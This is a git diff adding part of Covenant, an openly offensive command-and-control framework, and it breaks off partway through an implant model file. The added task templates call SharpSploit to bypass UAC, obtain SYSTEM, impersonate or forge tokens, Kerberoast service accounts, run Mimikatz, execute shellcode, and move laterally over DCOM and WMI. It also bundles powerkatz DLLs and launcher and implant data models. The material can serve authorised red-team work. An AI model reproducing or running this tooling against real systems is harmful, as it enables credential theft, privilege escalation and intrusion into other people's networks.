+ // Hello World! {0} + + \ No newline at end of file diff --git a/Covenant/Data/References/net35/System.Configuration.Install.dll b/Covenant/Data/References/net35/System.Configuration.Install.dll new file mode 100644 index 00000000..ddcb88c4 Binary files /dev/null and b/Covenant/Data/References/net35/System.Configuration.Install.dll differ diff --git a/Covenant/Data/References/net35/System.Core.dll b/Covenant/Data/References/net35/System.Core.dll new file mode 100644 index 00000000..a905f169 Binary files /dev/null and b/Covenant/Data/References/net35/System.Core.dll differ diff --git a/Covenant/Data/References/net35/System.DirectoryServices.dll b/Covenant/Data/References/net35/System.DirectoryServices.dll new file mode 100644 index 00000000..42290059 Binary files /dev/null and b/Covenant/Data/References/net35/System.DirectoryServices.dll differ diff --git a/Covenant/Data/References/net35/System.IdentityModel.dll b/Covenant/Data/References/net35/System.IdentityModel.dll new file mode 100644 index 00000000..cf8fc6a1 Binary files /dev/null and b/Covenant/Data/References/net35/System.IdentityModel.dll differ diff --git a/Covenant/Data/References/net35/System.Management.Automation.dll b/Covenant/Data/References/net35/System.Management.Automation.dll new file mode 100644 index 00000000..8a528dbd Binary files /dev/null and b/Covenant/Data/References/net35/System.Management.Automation.dll differ diff --git a/Covenant/Data/References/net35/System.Management.dll b/Covenant/Data/References/net35/System.Management.dll new file mode 100644 index 00000000..18e775f9 Binary files /dev/null and b/Covenant/Data/References/net35/System.Management.dll differ diff --git a/Covenant/Data/References/net35/System.dll b/Covenant/Data/References/net35/System.dll new file mode 100644 index 00000000..99fb0076 Binary files /dev/null and b/Covenant/Data/References/net35/System.dll differ diff --git a/Covenant/Data/References/net35/mscorlib.dll b/Covenant/Data/References/net35/mscorlib.dll new file mode 100644 index 00000000..89ae5d88 Binary files /dev/null and b/Covenant/Data/References/net35/mscorlib.dll differ diff --git a/Covenant/Data/References/net40/System.Configuration.Install.dll b/Covenant/Data/References/net40/System.Configuration.Install.dll new file mode 100644 index 00000000..2ea21624 Binary files /dev/null and b/Covenant/Data/References/net40/System.Configuration.Install.dll differ diff --git a/Covenant/Data/References/net40/System.Core.dll b/Covenant/Data/References/net40/System.Core.dll new file mode 100644 index 00000000..b41f1266 Binary files /dev/null and b/Covenant/Data/References/net40/System.Core.dll differ diff --git a/Covenant/Data/References/net40/System.DirectoryServices.dll b/Covenant/Data/References/net40/System.DirectoryServices.dll new file mode 100644 index 00000000..c692621c Binary files /dev/null and b/Covenant/Data/References/net40/System.DirectoryServices.dll differ diff --git a/Covenant/Data/References/net40/System.IdentityModel.dll b/Covenant/Data/References/net40/System.IdentityModel.dll new file mode 100644 index 00000000..f2ddd4f0 Binary files /dev/null and b/Covenant/Data/References/net40/System.IdentityModel.dll differ diff --git a/Covenant/Data/References/net40/System.Management.Automation.dll b/Covenant/Data/References/net40/System.Management.Automation.dll new file mode 100644 index 00000000..5fa1f2a1 Binary files /dev/null and b/Covenant/Data/References/net40/System.Management.Automation.dll differ diff --git a/Covenant/Data/References/net40/System.Management.dll b/Covenant/Data/References/net40/System.Management.dll new file mode 100644 index 00000000..09a7d74f Binary files /dev/null and b/Covenant/Data/References/net40/System.Management.dll differ diff --git a/Covenant/Data/References/net40/System.dll b/Covenant/Data/References/net40/System.dll new file mode 100644 index 00000000..d7ad7dea Binary files /dev/null and b/Covenant/Data/References/net40/System.dll differ diff --git a/Covenant/Data/References/net40/mscorlib.dll b/Covenant/Data/References/net40/mscorlib.dll new file mode 100644 index 00000000..7c05c806 Binary files /dev/null and b/Covenant/Data/References/net40/mscorlib.dll differ diff --git a/Covenant/Data/Resources/powerkatz_x64.dll b/Covenant/Data/Resources/powerkatz_x64.dll new file mode 100644 index 00000000..984164bb Binary files /dev/null and b/Covenant/Data/Resources/powerkatz_x64.dll differ diff --git a/Covenant/Data/Resources/powerkatz_x64.dll.comp b/Covenant/Data/Resources/powerkatz_x64.dll.comp new file mode 100644 index 00000000..92ecd944 Binary files /dev/null and b/Covenant/Data/Resources/powerkatz_x64.dll.comp differ diff --git a/Covenant/Data/Resources/powerkatz_x86.dll b/Covenant/Data/Resources/powerkatz_x86.dll new file mode 100644 index 00000000..ec5fb70a Binary files /dev/null and b/Covenant/Data/Resources/powerkatz_x86.dll differ diff --git a/Covenant/Data/Resources/powerkatz_x86.dll.comp b/Covenant/Data/Resources/powerkatz_x86.dll.comp new file mode 100644 index 00000000..8ad2c6d1 Binary files /dev/null and b/Covenant/Data/Resources/powerkatz_x86.dll.comp differ diff --git a/Covenant/Data/Resources/resources.yml b/Covenant/Data/Resources/resources.yml new file mode 100644 index 00000000..b9abd64d --- /dev/null +++ b/Covenant/Data/Resources/resources.yml @@ -0,0 +1,16 @@ +- Name: SharpSploit.Resources.powerkatz_x86.dll + File: powerkatz_x86.dll + Platform: x86 + Enabled: true +- Name: SharpSploit.Resources.powerkatz_x64.dll + File: powerkatz_x64.dll + Platform: x64 + Enabled: true +- Name: SharpSploit.Resources.powerkatz_x86.dll.comp + File: powerkatz_x86.dll.comp + Platform: x86 + Enabled: false +- Name: SharpSploit.Resources.powerkatz_x64.dll.comp + File: powerkatz_x64.dll.comp + Platform: x64 + Enabled: false \ No newline at end of file diff --git a/Covenant/Data/Static/.gitignore b/Covenant/Data/Static/.gitignore new file mode 100644 index 00000000..d6b7ef32 --- /dev/null +++ b/Covenant/Data/Static/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/Covenant/Data/Tasks/Assembly.task b/Covenant/Data/Tasks/Assembly.task new file mode 100644 index 00000000..211691f2 --- /dev/null +++ b/Covenant/Data/Tasks/Assembly.task @@ -0,0 +1,11 @@ +using System; +using SharpSploit.Execution; + +public static class Task +{ + public static string Execute(string EncodedAssembly, string TypeName, string MethodName) + { + GenericObjectResult result = Assembly.AssemblyExecute(EncodedAssembly, TypeName, MethodName); + return result.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/BypassUAC.task b/Covenant/Data/Tasks/BypassUAC.task new file mode 100644 index 00000000..a4659379 --- /dev/null +++ b/Covenant/Data/Tasks/BypassUAC.task @@ -0,0 +1,26 @@ +using System; + +using SharpSploit.Credentials; + +public static class Task +{ + public static string Execute(string Binary, string Arguments, string Path, string ProcessID = "0") + { + Console.WriteLine("Binary:" + Binary); + Console.WriteLine("Arguments:" + Arguments); + Console.WriteLine("Path:" + Path); + Console.WriteLine("ProcessID:" + ProcessID); + + using (Tokens t = new Tokens()) + { + if (t.BypassUAC(Binary, Arguments, Path, Int32.Parse(ProcessID))) + { + return "Successfully executed: \"" + Path + Binary + " " + Arguments + "\" with high integrity."; + } + else + { + return "Failed to execute with high integrity."; + } + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/ChangeDirectory.task b/Covenant/Data/Tasks/ChangeDirectory.task new file mode 100644 index 00000000..835b1b39 --- /dev/null +++ b/Covenant/Data/Tasks/ChangeDirectory.task @@ -0,0 +1,12 @@ +using System.IO; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string AppendDirectory) + { + Host.ChangeCurrentDirectory(AppendDirectory); + return Host.GetCurrentDirectory(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/DCOM.task b/Covenant/Data/Tasks/DCOM.task new file mode 100644 index 00000000..2c0d2959 --- /dev/null +++ b/Covenant/Data/Tasks/DCOM.task @@ -0,0 +1,24 @@ +using System; + +using SharpSploit.LateralMovement; + +public static class Task +{ + public static string Execute(string ComputerName, string Command, string Parameters = "", string Directory = "C:\\WINDOWS\\System32\\", string Method = "MMC20.Application") + { + DCOM.DCOMMethod theMethod = DCOM.DCOMMethod.MMC20_Application; + if (Method.ToLower() == "shellwindows") { theMethod = DCOM.DCOMMethod.ShellWindows; } + else if (Method.ToLower() == "shellbrowserwindow") { theMethod = DCOM.DCOMMethod.ShellBrowserWindow; } + else if (Method == "ExcelDDE") { theMethod = DCOM.DCOMMethod.ExcelDDE; } + else if (Method != "MMC20_Application" && Method != "MMC20.Application") { return "DCOM Execution failed. Invalid DCOMMethod specified."; } + + if (DCOM.DCOMExecute(ComputerName, Command, Parameters, Directory, theMethod)) + { + return "DCOM execution successful. Executed: \"" + Directory + Command + " " + Parameters + "\" on: " + ComputerName; + } + else + { + return "DCOM execution failed."; + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/Download.task b/Covenant/Data/Tasks/Download.task new file mode 100644 index 00000000..a939c296 --- /dev/null +++ b/Covenant/Data/Tasks/Download.task @@ -0,0 +1,11 @@ +using System; +using System.IO; + +public static class Task +{ + public static string Execute(string FileName) + { + string FilePath = Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + FileName; + return Convert.ToBase64String(File.ReadAllBytes(FilePath)); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetDomainComputer.task b/Covenant/Data/Tasks/GetDomainComputer.task new file mode 100644 index 00000000..000f1bce --- /dev/null +++ b/Covenant/Data/Tasks/GetDomainComputer.task @@ -0,0 +1,30 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string Identities = "") + { + List domainComputers = new List(); + if (Identities.Trim() != "") + { + List identityList = Identities.Split(',').ToList(); + domainComputers = new Domain.DomainSearcher().GetDomainComputers(identityList); + } + else + { + domainComputers = new Domain.DomainSearcher().GetDomainComputers(); + } + StringBuilder results = new StringBuilder(); + foreach (Domain.DomainObject domainComputer in domainComputers) + { + results.Append(domainComputer.ToString()); + results.AppendLine("------"); + } + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetDomainGroup.task b/Covenant/Data/Tasks/GetDomainGroup.task new file mode 100644 index 00000000..c367dbb1 --- /dev/null +++ b/Covenant/Data/Tasks/GetDomainGroup.task @@ -0,0 +1,30 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string Identities = "") + { + List domainGroups = new List(); + if (Identities.Trim() != "") + { + List identityList = Identities.Split(',').ToList(); + domainGroups = new Domain.DomainSearcher().GetDomainGroups(identityList); + } + else + { + domainGroups = new Domain.DomainSearcher().GetDomainGroups(); + } + StringBuilder results = new StringBuilder(); + foreach (Domain.DomainObject domainGroup in domainGroups) + { + results.Append(domainGroup.ToString()); + results.AppendLine("------"); + } + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetDomainUser.task b/Covenant/Data/Tasks/GetDomainUser.task new file mode 100644 index 00000000..9192dc1d --- /dev/null +++ b/Covenant/Data/Tasks/GetDomainUser.task @@ -0,0 +1,30 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string Identities = "") + { + List domainUsers = new List(); + if (Identities.Trim() != "") + { + List identityList = Identities.Split(',').ToList(); + domainUsers = new Domain.DomainSearcher().GetDomainUsers(identityList); + } + else + { + domainUsers = new Domain.DomainSearcher().GetDomainUsers(); + } + StringBuilder results = new StringBuilder(); + foreach (Domain.DomainObject domainUser in domainUsers) + { + results.Append(domainUser.ToString()); + results.AppendLine("------"); + } + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetNetLocalGroup.task b/Covenant/Data/Tasks/GetNetLocalGroup.task new file mode 100644 index 00000000..c6b6846e --- /dev/null +++ b/Covenant/Data/Tasks/GetNetLocalGroup.task @@ -0,0 +1,23 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string ComputerNames = "") + { + List computerList = ComputerNames.Split(',').ToList(); + List localGroups = Net.GetNetLocalGroups(computerList); + + StringBuilder results = new StringBuilder(); + foreach (Net.LocalGroup localGroup in localGroups) + { + results.Append(localGroup.ToString()); + results.AppendLine("------"); + } + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetNetLocalGroupMember.task b/Covenant/Data/Tasks/GetNetLocalGroupMember.task new file mode 100644 index 00000000..c1b5e3c5 --- /dev/null +++ b/Covenant/Data/Tasks/GetNetLocalGroupMember.task @@ -0,0 +1,23 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string ComputerNames = "", string GroupName = "Administrators") + { + List computerList = ComputerNames.Split(',').ToList(); + List localGroupMembers = Net.GetNetLocalGroupMembers(computerList, GroupName); + + StringBuilder results = new StringBuilder(); + foreach (Net.LocalGroupMember localGroupMember in localGroupMembers) + { + results.Append(localGroupMember.ToString()); + results.AppendLine("------"); + } + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetNetLoggedOnUser.task b/Covenant/Data/Tasks/GetNetLoggedOnUser.task new file mode 100644 index 00000000..02bc2113 --- /dev/null +++ b/Covenant/Data/Tasks/GetNetLoggedOnUser.task @@ -0,0 +1,23 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string ComputerNames = "") + { + List computerList = ComputerNames.Split(',').ToList(); + List loggedOnUsers = Net.GetNetLoggedOnUsers(computerList); + + StringBuilder results = new StringBuilder(); + foreach (Net.LoggedOnUser loggedOnUser in loggedOnUsers) + { + results.Append(loggedOnUser.ToString()); + results.AppendLine("------"); + } + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetNetSession.task b/Covenant/Data/Tasks/GetNetSession.task new file mode 100644 index 00000000..dbbbdbf4 --- /dev/null +++ b/Covenant/Data/Tasks/GetNetSession.task @@ -0,0 +1,23 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string ComputerNames = "") + { + List computerList = ComputerNames.Split(',').ToList(); + List sessionInfos = Net.GetNetSessions(computerList); + + StringBuilder results = new StringBuilder(); + foreach (Net.SessionInfo sessionInfo in sessionInfos) + { + results.Append(sessionInfo.ToString()); + results.AppendLine("------"); + } + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/GetSystem.task b/Covenant/Data/Tasks/GetSystem.task new file mode 100644 index 00000000..567b55a4 --- /dev/null +++ b/Covenant/Data/Tasks/GetSystem.task @@ -0,0 +1,21 @@ +using System; + +using SharpSploit.Credentials; + +public static class Task +{ + public static string Execute() + { + using (Tokens t = new Tokens()) + { + if (t.GetSystem()) + { + return "Successfully impersonated: " + t.WhoAmI(); + } + else + { + return "Failed to GetSystem"; + } + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/ImpersonateProcess.task b/Covenant/Data/Tasks/ImpersonateProcess.task new file mode 100644 index 00000000..2af7d7b9 --- /dev/null +++ b/Covenant/Data/Tasks/ImpersonateProcess.task @@ -0,0 +1,22 @@ +using System; + +using SharpSploit.Credentials; + +public static class Task +{ + public static string Execute(string ProcessID) + { + using (Tokens t = new Tokens()) + { + int ProcID = Int32.Parse(ProcessID); + if (t.ImpersonateProcess(ProcID)) + { + return "Successfully impersonated: " + ProcessID; + } + else + { + return "Failed to impersonate: " + ProcessID; + } + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/ImpersonateUser.task b/Covenant/Data/Tasks/ImpersonateUser.task new file mode 100644 index 00000000..733f7d3f --- /dev/null +++ b/Covenant/Data/Tasks/ImpersonateUser.task @@ -0,0 +1,21 @@ +using System; + +using SharpSploit.Credentials; + +public static class Task +{ + public static string Execute(string Username) + { + using (Tokens t = new Tokens()) + { + if (t.ImpersonateUser(Username)) + { + return "Successfully impersonated: " + t.WhoAmI(); + } + else + { + return "Failed to impersonate: " + Username; + } + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/Kerberoast.task b/Covenant/Data/Tasks/Kerberoast.task new file mode 100644 index 00000000..0eafb803 --- /dev/null +++ b/Covenant/Data/Tasks/Kerberoast.task @@ -0,0 +1,30 @@ +using System; +using System.Text; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string Usernames = null, string HashFormat = null) + { + StringBuilder builder = new StringBuilder(); + List tickets = null; + if (Usernames != null) + { + List usernamesList = Usernames.Split(',').ToList(); + tickets = new Domain.DomainSearcher().Kerberoast(usernamesList); + } + else + { + tickets = new Domain.DomainSearcher().Kerberoast(); + } + Domain.SPNTicket.HashFormat hf = (HashFormat.ToLower() == "john" ? Domain.SPNTicket.HashFormat.John : Domain.SPNTicket.HashFormat.Hashcat); + foreach (Domain.SPNTicket ticket in tickets) + { + builder.AppendLine(ticket.GetFormattedHash(hf)); + } + return builder.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/ListDirectory.task b/Covenant/Data/Tasks/ListDirectory.task new file mode 100644 index 00000000..b8fad65d --- /dev/null +++ b/Covenant/Data/Tasks/ListDirectory.task @@ -0,0 +1,11 @@ +using System; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute() + { + return Host.GetDirectoryListing().ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/MakeToken.task b/Covenant/Data/Tasks/MakeToken.task new file mode 100644 index 00000000..3260126d --- /dev/null +++ b/Covenant/Data/Tasks/MakeToken.task @@ -0,0 +1,32 @@ +using System; + +using SharpSploit.Credentials; +using SharpSploit.Execution; + +public static class Task +{ + public static string Execute(string Username, string Domain, string Password, string LogonType = null) + { + using (Tokens t = new Tokens()) + { + Win32.Advapi32.LOGON_TYPE lt; + if (LogonType == null) + { + lt = Win32.Advapi32.LOGON_TYPE.LOGON32_LOGON_NEW_CREDENTIALS; + } + else + { + lt = (Win32.Advapi32.LOGON_TYPE) Enum.Parse(typeof(Win32.Advapi32.LOGON_TYPE), LogonType, true); + } + + if (t.MakeToken(Username, Domain, Password, lt)) + { + return "Successfully made and impersonated token for user: " + Domain + "\\" + Username; + } + else + { + return "Failed to make token for user: " + Domain + "\\" + Username; + } + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/Mimikatz.task b/Covenant/Data/Tasks/Mimikatz.task new file mode 100644 index 00000000..9c084b2b --- /dev/null +++ b/Covenant/Data/Tasks/Mimikatz.task @@ -0,0 +1,11 @@ +using System; + +using SharpSploit.Credentials; + +public static class Task +{ + public static string Execute(string Command) + { + return Mimikatz.Command(Command); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/PortScan.task b/Covenant/Data/Tasks/PortScan.task new file mode 100644 index 00000000..fb40c4a2 --- /dev/null +++ b/Covenant/Data/Tasks/PortScan.task @@ -0,0 +1,18 @@ +using System; +using System.Linq; +using System.Collections.Generic; + +using SharpSploit.Enumeration; +using SharpSploit.Generic; + +public static class Task +{ + public static string Execute(string ComputerNames, string Ports, string Ping) + { + List portList = Ports.Split(',').Select(P => int.Parse(P)).ToList(); + List computerList = ComputerNames.Split(',').ToList(); + bool pingB = (Ping.ToLower() == "true" ? true : false); + SharpSploitResultList results = Network.PortScan(computerList, portList, pingB); + return results.ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/PowerShell.task b/Covenant/Data/Tasks/PowerShell.task new file mode 100644 index 00000000..18e808e5 --- /dev/null +++ b/Covenant/Data/Tasks/PowerShell.task @@ -0,0 +1,11 @@ +using System; + +using SharpSploit.Execution; + +public static class Task +{ + public static string Execute(string PowerShellCommand) + { + return Shell.PowerShellExecute(PowerShellCommand, true); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/ProcessList.task b/Covenant/Data/Tasks/ProcessList.task new file mode 100644 index 00000000..46415d6a --- /dev/null +++ b/Covenant/Data/Tasks/ProcessList.task @@ -0,0 +1,11 @@ +using System; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute() + { + return Host.GetProcessList().ToString(); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/RegistryRead.task b/Covenant/Data/Tasks/RegistryRead.task new file mode 100644 index 00000000..cd117df9 --- /dev/null +++ b/Covenant/Data/Tasks/RegistryRead.task @@ -0,0 +1,11 @@ +using System; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string RegPath) + { + return Host.RegistryRead(RegPath); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/RegistryWrite.task b/Covenant/Data/Tasks/RegistryWrite.task new file mode 100644 index 00000000..501dddef --- /dev/null +++ b/Covenant/Data/Tasks/RegistryWrite.task @@ -0,0 +1,11 @@ +using System; + +using SharpSploit.Enumeration; + +public static class Task +{ + public static string Execute(string RegPath, string Value) + { + return Host.RegistryWrite(RegPath, Value); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/RevertToSelf.task b/Covenant/Data/Tasks/RevertToSelf.task new file mode 100644 index 00000000..7fd533dc --- /dev/null +++ b/Covenant/Data/Tasks/RevertToSelf.task @@ -0,0 +1,21 @@ +using System; + +using SharpSploit.Credentials; + +public static class Task +{ + public static string Execute() + { + using (Tokens t = new Tokens()) + { + if (t.RevertToSelf()) + { + return "Reverted to user: " + t.WhoAmI(); + } + else + { + return "Failed to RevertToSelf."; + } + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/Shell.task b/Covenant/Data/Tasks/Shell.task new file mode 100644 index 00000000..e4ecd800 --- /dev/null +++ b/Covenant/Data/Tasks/Shell.task @@ -0,0 +1,11 @@ +using System; + +using SharpSploit.Execution; + +public static class Task +{ + public static string Execute(string ShellCommand) + { + return Shell.ShellExecute(ShellCommand); + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/ShellCode.task b/Covenant/Data/Tasks/ShellCode.task new file mode 100644 index 00000000..cbe89683 --- /dev/null +++ b/Covenant/Data/Tasks/ShellCode.task @@ -0,0 +1,24 @@ +using System; + +using SharpSploit.Execution; + +public static class Task +{ + public static string Execute(string hex) + { + byte[] bytes = new byte[hex.Length / 2]; + for (int i = 0; i < hex.Length; i += 2) + { + bytes[i/2] = Convert.ToByte(hex.Substring(i, 2), 16); + } + + if (ShellCode.ShellCodeExecute(bytes)) + { + return "ShellCode execution succeeded."; + } + else + { + return "ShellCode execution failed."; + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/Upload.task b/Covenant/Data/Tasks/Upload.task new file mode 100644 index 00000000..53516eed --- /dev/null +++ b/Covenant/Data/Tasks/Upload.task @@ -0,0 +1,12 @@ +using System; +using System.IO; + +public static class Task +{ + public static string Execute(string FileName, string FileContents) + { + string FilePath = Directory.GetCurrentDirectory() + Path.DirectorySeparatorChar + FileName; + File.WriteAllBytes(FilePath, Convert.FromBase64String(FileContents)); + return FilePath; + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/WMI.task b/Covenant/Data/Tasks/WMI.task new file mode 100644 index 00000000..92a47d56 --- /dev/null +++ b/Covenant/Data/Tasks/WMI.task @@ -0,0 +1,18 @@ +using System; + +using SharpSploit.LateralMovement; + +public static class Task +{ + public static string Execute(string ComputerName, string Username, string Password, string Command) + { + if (WMI.WMIExecute(ComputerName, Command, Username, Password)) + { + return "WMI execution successful. Executed: \"" + Command + "\" on: " + ComputerName + " as: " + Username; + } + else + { + return "WMI execution failed."; + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Tasks/WhoAmI.task b/Covenant/Data/Tasks/WhoAmI.task new file mode 100644 index 00000000..2397b1bd --- /dev/null +++ b/Covenant/Data/Tasks/WhoAmI.task @@ -0,0 +1,14 @@ +using System; + +using SharpSploit.Credentials; + +public static class Task +{ + public static string Execute() + { + using (Tokens t = new Tokens()) + { + return t.WhoAmI(); + } + } +} \ No newline at end of file diff --git a/Covenant/Data/Temp/.gitignore b/Covenant/Data/Temp/.gitignore new file mode 100644 index 00000000..d6b7ef32 --- /dev/null +++ b/Covenant/Data/Temp/.gitignore @@ -0,0 +1,2 @@ +* +!.gitignore diff --git a/Covenant/Dockerfile b/Covenant/Dockerfile new file mode 100644 index 00000000..12a848f0 --- /dev/null +++ b/Covenant/Dockerfile @@ -0,0 +1,13 @@ +FROM microsoft/dotnet:2.1-sdk AS build +WORKDIR /app + +COPY . ./ +RUN dotnet restore +RUN dotnet publish -c Release -o out + +FROM microsoft/dotnet:2.1-aspnetcore-runtime AS runtime +WORKDIR /app +COPY --from=build /app/out . +COPY ./Data ./Data +EXPOSE 7443 80 443 +ENTRYPOINT ["dotnet", "Covenant.dll"] diff --git a/Covenant/Models/Covenant/CovenantAPIConnectionDetails.cs b/Covenant/Models/Covenant/CovenantAPIConnectionDetails.cs new file mode 100644 index 00000000..2efae3a7 --- /dev/null +++ b/Covenant/Models/Covenant/CovenantAPIConnectionDetails.cs @@ -0,0 +1,18 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Collections.Generic; +using System.Linq; +using System.Threading.Tasks; + +namespace Covenant.Models.Covenant +{ + public class CovenantAPIConnectionDetails + { + public int Id { get; set; } = 1; + public String CovenantURI { get; set; } + public String token { get; set; } + } +} diff --git a/Covenant/Models/Covenant/CovenantUser.cs b/Covenant/Models/Covenant/CovenantUser.cs new file mode 100644 index 00000000..64220d49 --- /dev/null +++ b/Covenant/Models/Covenant/CovenantUser.cs @@ -0,0 +1,26 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System.Collections.Generic; +using Microsoft.AspNetCore.Identity; + +namespace Covenant.Models.Covenant +{ + public class CovenantUser : IdentityUser + { + + } + + public class CovenantUserLogin + { + public string UserName { get; set; } + public string Password { get; set; } + } + + public class CovenantUserLoginResult + { + public bool success { get; set; } = true; + public string token { get; set; } = default; + } +} diff --git a/Covenant/Models/Covenant/Event.cs b/Covenant/Models/Covenant/Event.cs new file mode 100644 index 00000000..8f86fd79 --- /dev/null +++ b/Covenant/Models/Covenant/Event.cs @@ -0,0 +1,51 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; + +namespace Covenant.Models.Covenant +{ + public class Event + { + public enum EventLevel + { + Silent, + Info, + Warning, + Highlight, + Error + } + + public enum EventType + { + Normal, + Download + } + + public int Id { get; set; } + public DateTime Time { get; set; } = DateTime.Now; + public string Message { get; set; } + public EventLevel Level { get; set; } = EventLevel.Highlight; + public EventType Type { get; set; } = EventType.Normal; + public string Context { get; set; } = "*"; + } + + public class DownloadEvent : Event + { + public enum DownloadProgress + { + Portion, + Complete + } + + public string FileName { get; set; } = ""; + public string FileContents { get; set; } = ""; + public DownloadProgress Progress { get; set; } = DownloadProgress.Portion; + + public DownloadEvent() + { + this.Type = EventType.Download; + } + } +} diff --git a/Covenant/Models/CovenantContext.cs b/Covenant/Models/CovenantContext.cs new file mode 100644 index 00000000..6ad9655c --- /dev/null +++ b/Covenant/Models/CovenantContext.cs @@ -0,0 +1,64 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using Microsoft.EntityFrameworkCore; +using Microsoft.AspNetCore.Identity.EntityFrameworkCore; + +using Covenant.Models.Covenant; +using Covenant.Models.Listeners; +using Covenant.Models.Launchers; +using Covenant.Models.Grunts; +using Covenant.Models.Indicators; + +namespace Covenant.Models +{ + public class CovenantContext : IdentityDbContext + { + public DbSet Listeners { get; set; } + public DbSet ListenerTypes { get; set; } + public DbSet Profiles { get; set; } + + public DbSet Launchers { get; set; } + public DbSet Grunts { get; set; } + public DbSet GruntTasks { get; set; } + public DbSet GruntTaskOptions { get; set; } + public DbSet HostedFiles { get; set; } + + public DbSet GruntTaskings { get; set; } + public DbSet Events { get; set; } + + public DbSet Indicators { get; set; } + + public CovenantContext(DbContextOptions options) : base(options) + { + + } + + protected override void OnModelCreating(ModelBuilder builder) + { + base.OnModelCreating(builder); + builder.Entity().ToTable("HttpListener"); + builder.Entity().ToTable("HttpProfile"); + + builder.Entity().ToTable("WmicLauncher"); + builder.Entity().ToTable("Regsvr32Launcher"); + builder.Entity().ToTable("MshtaLauncher"); + builder.Entity().ToTable("CscriptLauncher"); + builder.Entity().ToTable("WscriptLauncher"); + builder.Entity().ToTable("InstallUtilLauncher"); + builder.Entity().ToTable("MSBuildLauncher"); + builder.Entity().ToTable("PowerShellLauncher"); + builder.Entity().ToTable("BinaryLauncher"); + + builder.Entity().ToTable("DownloadEvent"); + + builder.Entity().ToTable("FileIndicator"); + builder.Entity().ToTable("FileIndicator"); + builder.Entity().ToTable("FileIndicator"); + + // modelBuilder.Entity().HasMany(T => T.Options).WithOne().OnDelete(DeleteBehavior.Cascade); + // builder.Entity().HasKey(T => new { T.Id, T.TaskId}); + } + } +} diff --git a/Covenant/Models/Grunts/Grunt.cs b/Covenant/Models/Grunts/Grunt.cs new file mode 100644 index 00000000..7bb94bcb --- /dev/null +++ b/Covenant/Models/Grunts/Grunt.cs @@ -0,0 +1,197 @@ +// Author: Ryan Cobb (@cobbr_io) +// Project: Covenant (https://github.com/cobbr/Covenant) +// License: GNU GPLv3 + +using System; +using System.Linq; + +using Covenant.Core; +using Encrypt = Covenant.Core.Encryption; + +namespace Covenant.Models.Grunts +{ + public class Grunt + { + public enum GruntStatus + { + Uninitialized, + Stage0, + Stage1, + Stage2, + Active, + Lost, + Killed + } + + public enum IntegrityLevel + { + Untrusted, + Low, + Medium, + High, + System + } + + public int Id { get; set; } + public string Name { get; set; } = GenerateName(); + public Common.DotNetVersion DotNetFrameworkVersion { get; set; } = Common.DotNetVersion.Net35; + + public int ListenerId { get; set; } + public string CovenantIPAddress { get; set; } + + public int Delay { get; set; } = 5; + public int Jitter { get; set; } = 0; + public int ConnectAttempts { get; set; } = 1000; + + public string LastCheckIn { get; set; } = DateTime.MinValue.ToString(); + public 